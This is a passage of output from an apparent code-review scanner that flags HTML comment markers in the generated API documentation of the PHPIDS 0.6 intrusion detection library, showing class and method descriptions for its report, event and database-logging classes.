class="method-title">getEvent</span> (line <span class="line-number">135</span>) 427- </div> 428- 429: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 430-<p class="short-description">Get event by name</p> 431-<p class="description"><p>In most cases an event is identified by the key of the variable that contained maliciously appearing content</p></p> 432- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>454</span> <span class='match_count'>(72/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>451- 452- 453- </div> 454:<a name="methodgetImpact" id="getImpact"><span class='match_highlight'><!--</span> --></a> 455-<div class="oddrow"> 456- 457- <div class="method-header"> 458- <span class="method-title">getImpact</span> (line <span class="line-number">179</span>) 459- </div> 460- 461: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 462-<p class="short-description">Returns total impact</p> 463-<p class="description"><p>Each stored IDS_Event object and its IDS_Filter sub-object are called to calculate the overall impact level of this request</p></p> 464- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>479</span> <span class='match_count'>(73/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>476- 477- 478- </div> 479:<a name="methodgetIterator" id="getIterator"><span class='match_highlight'><!--</span> --></a> 480-<div class="evenrow"> 481- 482- <div class="method-header"> 483- <span class="method-title">getIterator</span> (line <span class="line-number">228</span>) 484- </div> 485- 486: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 487-<p class="short-description">Return iterator object</p> 488-<p class="description"><p>In order to provide the possibility to directly iterate over the IDS_Event object the IteratorAggregate is implemented. One can easily use foreach() to iterate through all stored IDS_Event objects.</p></p> 489- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>509</span> <span class='match_count'>(74/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>506- </dl> 507- 508- </div> 509:<a name="methodgetTags" id="getTags"><span class='match_highlight'><!--</span> --></a> 510-<div class="oddrow"> 511- 512- <div class="method-header"> 513- <span class="method-title">getTags</span> (line <span class="line-number">155</span>) 514- </div> 515- 516: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 517-<p class="short-description">Returns list of affected tags</p> 518- <ul class="tags"> 519- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>533</span> <span class='match_count'>(75/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>530- 531- 532- </div> 533:<a name="methodhasEvent" id="hasEvent"><span class='match_highlight'><!--</span> --></a> 534-<div class="evenrow"> 535- 536- <div class="method-header"> 537- <span class="method-title">hasEvent</span> (line <span class="line-number">200</span>) 538- </div> 539- 540: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 541-<p class="short-description">Checks if a specific event with given name exists</p> 542- <ul class="tags"> 543- <li><span class="field">throws:</span> InvalidArgumentException if argument is illegal</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>563</span> <span class='match_count'>(76/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>560- 561- 562- </div> 563:<a name="methodisEmpty" id="isEmpty"><span class='match_highlight'><!--</span> --></a> 564-<div class="oddrow"> 565- 566- <div class="method-header"> 567- <span class="method-title">isEmpty</span> (line <span class="line-number">238</span>) 568- </div> 569- 570: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 571-<p class="short-description">Checks if any events are registered</p> 572- <ul class="tags"> 573- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>587</span> <span class='match_count'>(77/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>584- 585- 586- </div> 587:<a name="methodsetCentrifuge" id="setCentrifuge"><span class='match_highlight'><!--</span> --></a> 588-<div class="evenrow"> 589- 590- <div class="method-header"> 591- <span class="method-title">setCentrifuge</span> (line <span class="line-number">275</span>) 592- </div> 593- 594: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 595-<p class="short-description">This method sets the centrifuge property</p> 596- <ul class="tags"> 597- <li><span class="field">return:</span> true is arguments were valid</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Report.html</span>:<span class='line_number'>618</span> <span class='match_count'>(78/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>615- 616- 617- </div> 618:<a name="method__toString" id="__toString"><span class='match_highlight'><!--</span> --></a> 619-<div class="oddrow"> 620- 621- <div class="method-header"> 622- <span class="method-title">__toString</span> (line <span class="line-number">289</span>) 623- </div> 624- 625: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 626-<p class="short-description">Directly outputs all available information</p> 627- <ul class="tags"> 628- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---File.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(79/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page File.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---File.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(80/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---File.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(81/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Caching/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="oddrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---File.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(82/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html</span>:<span class='line_number'>5</span> <span class='match_count'>(83/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Log_Database</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html</span>:<span class='line_number'>28</span> <span class='match_count'>(84/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">Database logging wrapper</p> 30-<p class="description"><p>The database wrapper is designed to store reports into an sql database. It implements the singleton pattern and is based in PDO, supporting different database types.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html</span>:<span class='line_number'>93</span> <span class='match_count'>(85/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>90- </div> 91- <div class="info-box-body"> 92- <A NAME='method_detail'></A> 93:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 94-<div class="evenrow"> 95- 96- <div class="method-header"> 97- <span class="method-title">static method getInstance</span> (line <span class="line-number">212</span>) 98- </div> 99- 100: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 101-<p class="short-description">Returns an instance of this class</p> 102-<p class="description"><p>This method allows the passed argument to be either an instance of IDS_Init or an array.</p></p> 103- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html</span>:<span class='line_number'>125</span> <span class='match_count'>(86/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>122- 123- </div> 124- 125:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 126-<div class="oddrow"> 127- 128- <div class="method-header"> 129- <span class="method-title">Constructor __construct</span> (line <span class="line-number">146</span>) 130- </div> 131- 132: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 133-<p class="short-description">Constructor</p> 134-<p class="description"><p>Prepares the SQL statement</p></p> 135- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_Database.html</span>:<span class='line_number'>155</span> <span class='match_count'>(87/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>152- 153- 154- </div> 155:<a name="methodexecute" id="execute"><span class='match_highlight'><!--</span> --></a> 156-<div class="evenrow"> 157- 158- <div class="method-header"> 159- <span class="method-title">execute</span> (line <span class="line-number">246</span>) 160- </div> 161- 162: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 163-<p class="short-description">Stores given data into the database</p> 164- <ul class="tags"> 165- <li><span class="field">throws:</span> Exception if db error occurred</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>5</span> <span class='match_count'>(88/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Event</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>29</span> <span class='match_count'>(89/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>26- <ul> 27- <li>Countable (internal interface)</li><li>IteratorAggregate (internal interface)</li> </ul> 28- </p> 29: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 30-<p class="short-description">PHPIDS event object</p> 31-<p class="description"><p>This class represents a certain event that occured while applying the filters to the supplied data. It aggregates a bunch of IDS_Filter implementations and is a assembled in IDS_Report.</p><p>Note that this class implements both Countable and IteratorAggregate</p></p> 32- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>159</span> <span class='match_count'>(90/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>156- 157- </div> 158- <div class="info-box-body"> 159: <a name="var$filters" id="$filters"><span class='match_highlight'><!--</span> --></A> 160-<div class="evenrow"> 161- 162- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>170</span> <span class='match_count'>(91/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>167- </span> 168- </div> 169- 170: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 171-<p class="short-description">List of filter objects</p> 172-<p class="description"><p>Filter objects in this array are those that matched the events value</p></p> 173- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>182</span> <span class='match_count'>(92/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>179- 180- 181-</div> 182:<a name="var$impact" id="$impact"><span class='match_highlight'><!--</span> --></A> 183-<div class="oddrow"> 184- 185- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>193</span> <span class='match_count'>(93/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>190- </span> 191- </div> 192- 193: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 194-<p class="short-description">Calculated impact</p> 195-<p class="description"><p>Total impact of the event</p></p> 196- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>205</span> <span class='match_count'>(94/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>202- 203- 204-</div> 205:<a name="var$name" id="$name"><span class='match_highlight'><!--</span> --></A> 206-<div class="evenrow"> 207- 208- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>216</span> <span class='match_count'>(95/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>213- </span> 214- </div> 215- 216: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 217-<p class="short-description">Event name</p> 218- <ul class="tags"> 219- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>227</span> <span class='match_count'>(96/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>224- 225- 226-</div> 227:<a name="var$tags" id="$tags"><span class='match_highlight'><!--</span> --></A> 228-<div class="oddrow"> 229- 230- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>238</span> <span class='match_count'>(97/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>235- </span> 236- </div> 237- 238: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 239-<p class="short-description">Affecte tags</p> 240- <ul class="tags"> 241- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>249</span> <span class='match_count'>(98/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>246- 247- 248-</div> 249:<a name="var$value" id="$value"><span class='match_highlight'><!--</span> --></A> 250-<div class="evenrow"> 251- 252- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>260</span> <span class='match_count'>(99/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>257- </span> 258- </div> 259- 260: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 261-<p class="short-description">Value of the event</p> 262- <ul class="tags"> 263- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>287</span> <span class='match_count'>(100/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>284- <div class="info-box-body"> 285- <A NAME='method_detail'></A> 286- 287:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 288-<div class="oddrow"> 289- 290- <div class="method-header"> 291- <span class="method-title">Constructor __construct</span> (line <span class="line-number">106</span>) 292- </div> 293- 294: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 295-<p class="short-description">Constructor</p> 296-<p class="description"><p>Fills event properties</p></p> 297- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>323</span> <span class='match_count'>(101/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>320- 321- 322- </div> 323:<a name="methodcount" id="count"><span class='match_highlight'><!--</span> --></a> 324-<div class="evenrow"> 325- 326- <div class="method-header"> 327- <span class="method-title">count</span> (line <span class="line-number">211</span>) 328- </div> 329- 330: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 331-<p class="short-description">Returns number of filters</p> 332-<p class="description"><p>To implement interface Countable this returns the number of filters appended.</p></p> 333- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>353</span> <span class='match_count'>(102/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>350- </dl> 351- 352- </div> 353:<a name="methodgetFilters" id="getFilters"><span class='match_highlight'><!--</span> --></a> 354-<div class="oddrow"> 355- 356- <div class="method-header"> 357- <span class="method-title">getFilters</span> (line <span class="line-number">198</span>) 358- </div> 359- 360: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 361-<p class="short-description">Returns list of filter objects</p> 362- <ul class="tags"> 363- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>377</span> <span class='match_count'>(103/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>374- 375- 376- </div> 377:<a name="methodgetImpact" id="getImpact"><span class='match_highlight'><!--</span> --></a> 378-<div class="evenrow"> 379- 380- <div class="method-header"> 381- <span class="method-title">getImpact</span> (line <span class="line-number">162</span>) 382- </div> 383- 384: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 385-<p class="short-description">Returns calculated impact</p> 386- <ul class="tags"> 387- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>401</span> <span class='match_count'>(104/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>398- 399- 400- </div> 401:<a name="methodgetIterator" id="getIterator"><span class='match_highlight'><!--</span> --></a> 402-<div class="oddrow"> 403- 404- <div class="method-header"> 405- <span class="method-title">getIterator</span> (line <span class="line-number">223</span>) 406- </div> 407- 408: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 409-<p class="short-description">IteratorAggregate iterator getter</p> 410-<p class="description"><p>Returns an iterator to iterate over the appended filters.</p></p> 411- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>431</span> <span class='match_count'>(105/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>428- </dl> 429- 430- </div> 431:<a name="methodgetName" id="getName"><span class='match_highlight'><!--</span> --></a> 432-<div class="evenrow"> 433- 434- <div class="method-header"> 435- <span class="method-title">getName</span> (line <span class="line-number">142</span>) 436- </div> 437- 438: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 439-<p class="short-description">Returns event name</p> 440-<p class="description"><p>The name of the event usually is the key of the variable that was considered to be malicious</p></p> 441- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>456</span> <span class='match_count'>(106/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>453- 454- 455- </div> 456:<a name="methodgetTags" id="getTags"><span class='match_highlight'><!--</span> --></a> 457-<div class="oddrow"> 458- 459- <div class="method-header"> 460- <span class="method-title">getTags</span> (line <span class="line-number">179</span>) 461- </div> 462- 463: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 464-<p class="short-description">Returns affected tags</p> 465- <ul class="tags"> 466- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Event.html</span>:<span class='line_number'>480</span> <span class='match_count'>(107/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>477- 478- 479- </div> 480:<a name="methodgetValue" id="getValue"><span class='match_highlight'><!--</span> --></a> 481-<div class="evenrow"> 482- 483- <div class="method-header"> 484- <span class="method-title">getValue</span> (line <span class="line-number">152</span>) 485- </div> 486- 487: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 488-<p class="short-description">Returns event value</p> 489- <ul class="tags"> 490- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Factory.php.html</span>:<span class='line_number'>5</span> 